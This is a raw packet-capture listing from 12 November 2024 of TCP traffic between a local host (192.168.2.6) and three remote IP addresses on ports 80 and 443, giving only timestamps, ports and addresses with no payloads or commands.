Nov 12, 2024 17:07:23.729796886 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.729809046 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.730317116 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.730323076 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.861200094 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.862016916 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.862081051 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.862103939 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.862116098 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.862127066 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.862132072 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.865041018 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.865076065 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.865149975 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.865300894 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.865314960 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.871946096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:23.872000933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:23.872013092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:23.872056007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:23.873399019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:23.878360033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.042387962 CET	49674	443	192.168.2.6	173.222.162.64
Nov 12, 2024 17:07:24.150602102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.150664091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.150674105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.150712013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.150727034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.150760889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.150773048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.150784969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.150795937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.150811911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.150842905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.150871992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.152779102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.157598972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.241767883 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.242367983 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.242391109 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.242666960 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.242840052 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.242846012 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.242923975 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.242958069 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.243242025 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.243247986 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.247874975 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.248251915 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.248265028 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.248641014 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.248646975 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.373578072 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.373589993 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.373686075 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.373740911 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.374397039 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.374455929 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.374954939 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.374960899 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.374960899 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.374975920 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.374984980 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.374993086 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.374995947 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.375000954 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.378356934 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.378397942 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.378494024 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.378551960 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.378588915 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.378631115 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.378642082 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.378669024 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.378725052 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.378735065 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.379607916 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.380335093 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.380398035 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.380414963 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.380422115 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.380486965 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.380494118 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.382589102 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.382600069 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.382658005 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.382819891 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.382832050 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.386147976 CET	49672	443	192.168.2.6	173.222.162.64
Nov 12, 2024 17:07:24.417431116 CET	49673	443	192.168.2.6	173.222.162.64
Nov 12, 2024 17:07:24.429363966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.429475069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.447149038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.447221994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:24.452140093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.452255011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.452265024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.452272892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.452284098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.452296019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.452306986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:24.582082033 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.582643986 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.582674026 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.583199978 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.583209991 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.712517977 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.712626934 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.712676048 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.712824106 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.712846041 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.712877035 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.712882996 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.716270924 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.716312885 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:24.716367960 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.716500044 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:24.716511011 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.110599995 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.111087084 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.111103058 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.111547947 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.111552954 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.117196083 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.117474079 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.117480993 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.117857933 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.117861986 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.119107962 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.119340897 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.119359016 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.119712114 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.119716883 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.238956928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.239044905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.242501974 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.242568970 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.242618084 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.242784977 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.242805004 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.242815971 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.242822886 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.245291948 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.245318890 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.245383024 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.245596886 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.245610952 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.248069048 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.248136997 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.248179913 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.248260021 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.248265028 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.248272896 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.248276949 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.250104904 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.250129938 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.250193119 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.250296116 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.250308037 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.251239061 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.251322985 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.251359940 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.251427889 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.251439095 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.251447916 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.251452923 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.253428936 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.253458023 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.253519058 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.253634930 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.253648996 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.486211061 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.491660118 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.491697073 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.492151022 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.492157936 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.560931921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.566443920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.617980957 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.619738102 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.619795084 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.619951010 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.619967937 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.619977951 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.619983912 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.627247095 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.627288103 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.627351046 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.627959967 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.627973080 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.836419106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.836477041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.836487055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.836499929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.836519957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.836543083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.837120056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837135077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837150097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837158918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.837172031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837182045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.837193966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837225914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.837820053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837831974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837847948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837858915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837867022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.837877989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.837898970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.837927103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.978729963 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.988158941 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.988179922 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.988316059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.988389969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.988420963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.988430977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.988456964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.988467932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.988476038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.988507032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.988522053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.988533974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.988578081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.988578081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.989085913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989097118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989108086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989120960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.989137888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.989151001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.989465952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989475965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989487886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989504099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.989522934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.989680052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989691019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:25.989717960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.989741087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:25.992436886 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:25.992444038 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:25.992738008 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.000041008 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.000051022 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.003918886 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.003925085 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.107462883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107480049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107491970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107557058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.107582092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107594013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107601881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.107618093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107646942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.107661009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.107927084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107938051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107948065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107961893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.107970953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.108000040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.108022928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.108062983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.122168064 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.122364044 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.122419119 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.122612953 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.122636080 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.122648001 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.122653961 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.125150919 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.125221968 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.125288010 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.125418901 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.125432014 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.131118059 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.131187916 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.131254911 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.131361008 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.131365061 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.131381989 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.131385088 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.133291006 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.133327961 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.133395910 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.133522987 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.133538961 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.142251015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.142308950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.142321110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.142333031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.142366886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.170682907 CET	443	49707	173.222.162.64	192.168.2.6
Nov 12, 2024 17:07:26.170784950 CET	49707	443	192.168.2.6	173.222.162.64
Nov 12, 2024 17:07:26.222313881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.222378969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.222410917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.222421885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.222450018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.222467899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.222481966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.222495079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.222515106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.222527981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.222875118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.222912073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.222934008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.222975016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.223020077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.223057032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.223110914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.223123074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.223151922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.223167896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.223341942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.223376989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.223397017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.223407984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.223424911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.223449945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.259298086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.259321928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.259335041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.259380102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.259397984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.260381937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.260423899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.260792971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.260829926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340030909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340054989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340065956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340100050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340126038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340132952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340143919 CET	80	49714	185.215.113.206	192.168.2.6
